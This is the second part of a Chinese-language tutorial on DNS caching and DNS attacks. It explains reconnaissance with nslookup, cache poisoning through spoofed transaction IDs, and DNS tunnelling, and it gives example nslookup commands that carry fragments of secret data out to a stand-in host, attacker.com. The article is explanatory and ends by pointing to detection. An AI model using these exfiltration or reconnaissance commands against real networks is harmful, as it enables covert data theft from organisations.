DNS系統原理及漏洞利用分析(下)
接上篇《DNS系統原理及漏洞利用分析(上)》
四、DNS緩存
如果每次有任何用戶試圖訪問www.dingxinsec.com.cn,都必須向權限域名服務器發起對該域名的查詢請求,將會產生大量的網絡流量!因此,為了使計算機不用在每一次訪問某個域名時都向DNS服務器發起IP查詢請求,計算機上通常會存儲一個自身的域名-IP映射庫,這個映射庫被稱為“DNS緩存”。
- 加快DNS請求響應速度
- 減少DNS請求在互聯網上占用的帶寬
但是,DNS緩存方法也存在一些問題,包括:
- DNS信息的變化需要一定的時間才能傳播開——這意味著,所有DNS服務器都將其緩存更新為最新的IP數據之前,往往需要一段時間
- 攻擊者可能利用DNS緩存發起攻擊
DNS緩存有以下幾種不同的類型:
- 瀏覽器DNS緩存:目前大多數瀏覽器均內置了DNS緩存功能,使用本地緩存方式實現DNS解析通常快速且高效。
- 操作系統(OS)DNS緩存:目前,大多數用戶計算機操作系統均具備DNS客戶端,可用于管理DNS解析和請求。此類DNS緩存也是本地化的,因此速度快且無需占用帶寬。
- 遞歸解析DNS緩存:每個DNS遞歸服務器中都有DNS緩存,用于存儲可向其發起下一步請求的IP。
五、DNS常見漏洞
- 用戶內部DNS服務器會存儲用戶網絡域中所有服務器的內部域名與IP,并能夠在無需身份認證的情況下實施訪問。這使得DNS成為攻擊者在內網探測階段的重要信息來源。
- DNS緩存信息并非一定與權限域名服務器一致,攻擊者有可能篡改DNS緩存,如果用戶內網的DNS服務器被攻擊篡改,則使用該DNS服務器發起域名訪問的計算機就會被誘騙到錯誤的服務器。
- DNS服務器可能將內網的域名查詢從內網工作站遞歸轉發至外網服務器,攻擊者可能利用此行為創建內外網之間的“隱通道”來泄露內網數據。
1. 利用DNS實施探測
一旦攻擊者穿透防火墻進入用戶內網并控制某臺計算機,就可以利用內網的DNS服務查找重要的服務器信息,如郵件服務器、域名服務器等各類有價值的信息。如果攻擊者具備足夠的技術能力,甚至可能利用內部DNS服務器批量發送用戶網絡中區的信息,此類攻擊被稱為“DNS區傳輸攻擊”。
以下給出了在Windows操作系統環境中實現該攻擊的流程:
- 打開命令提示符(ctrl+ esc ➡️輸入字母“cmd” ➡️回車)
- 輸入“ipconfig”,將看到當前計算機所在的域名、IP地址以及許多其他信息(后續命令中將會使用)
- 鍵入“nslookup[IP]”,將看到正在響應請求的DNS服務器名稱,如果名稱已知,則會顯示列出名稱和IP地址的DNS記錄
- 鍵入“nslookup-type=soa [當前計算機所在域名]”, 執行此命令將返回當前計算機的權限DNS服務器,如果您嘗試滲透網絡,則不會很方便。
- 鍵入“nslookup-type=MX [當前計算機所在域名]”,通過執行該命令,攻擊者可以準確獲知網內郵件服務器的IP信息。
2. 利用DNS實施流量重定向
當用戶嘗試瀏覽到某個網站時,他們的計算機會在DNS服務器中查詢該網站的IP。如果DNS服務器中存有該記錄的緩存,則將直接返回該IP。如果沒有,它會查詢“上游”DNS服務器,并將結果中繼給最終用戶,同時緩存該信息以供下次使用。
在目前已知的攻擊中,攻擊者已經能夠偽造DNS響應信息,使其看起來像是來自合法的DNS服務器。要達到這一目標,攻擊者可以利用DNS的三個弱點:
- DNS對來自上游服務器的響應僅執行非常弱的認證。響應信息只需包含正確的事務ID(一個16位二進制數字(0-65536))。事實證明,要猜出正確的事務ID,技術難度并不大。
- DNS服務器接受同時響應多個查詢請求,因此攻擊者能夠同時對事務ID實施多次猜測(與暴力破解密碼思路類似)。
- DNS使用的IP連接很容易被偽造。這意味著攻擊者可以從一臺計算機向DNS服務器發送流量,使其看起來像來自另一臺計算機,例如另一臺真實有效的DNS服務器。容易被偽造的IP連接類型并不多,不幸的是,DNS恰好是其中之一。
一旦攻擊者成功偽造了DNS響應消息,則其可以實現篡改接收端DNS服務器的緩存。以下就以一個典型的場景說明這一攻擊行為可能造成的嚴重后果:
假設攻擊者了解到用戶單位使用外部應用程序來處理經費等重要事務。如果攻擊者篡改了用戶單位DNS服務器的相關記錄,則能夠將用戶誘騙至攻擊者偽造的服務器,誘騙用戶在攻擊者偽造的登陸頁面上錄入其賬號及口令信息。
更有耐心的攻擊者還可能將真實流量轉發給真實的服務器(充當“中間人”),因此用戶就不會發現攻擊正在發生。獲取用戶的身份信息后,攻擊者可以在其他相關系統上嘗試使用這些身份信息,或者直接出售這些信息。
3. 利用DNS構建隱通道
假設攻擊者已經設法進入了用戶單位網絡,控制了一臺內網計算機,并且已經找到了其想要竊取的關鍵數據。如何在不留任何痕跡的情況下將數據傳輸到網外?攻擊者可能使用一種被稱為“DNS隧道”的技術來實現。通常的做法如下:
(1)攻擊者在互聯網上設置一個DNS域(如attacker.com),并創建一個權限域名服務器
(2)在被攻擊者控制的主機上,攻擊者可以將數據分解為小段并將其插入到一系列DNS查詢中,如下所示:
- nslookup My1secret1.attacker.com
- nslookup is1that1I1know.attacker.com
- nsllookup your1data.attacker.com
(3)用戶單位的DNS服務器將接收這些請求,并將這些請求轉發回attacker.com的權限域名服務器。攻擊者在其權限域名服務器接收到上述流量后,則可以運行程序以提取查詢信息的第一部分(.attacker.com前的內容)并將其重新組合,從而將用戶網內的數據不留痕跡地傳輸到網外(此例中傳輸的數據是“My secret is that I know your data.”)。而用戶單位可能永遠不會意識到他們的DNS服務器被用于泄露自身的數據。
六、小結
DNS技術已存在了很長時間,互聯網上的每臺計算機都依賴它。然而,利用DNS進行內網探測、劫持流量并創建隱蔽信道竊取數據,都是DNS服務可能造成的安全問題。幸運的是,通過監控DNS服務器并應用安全數據分析,目前已有大量技術可以檢測并阻止這些攻擊。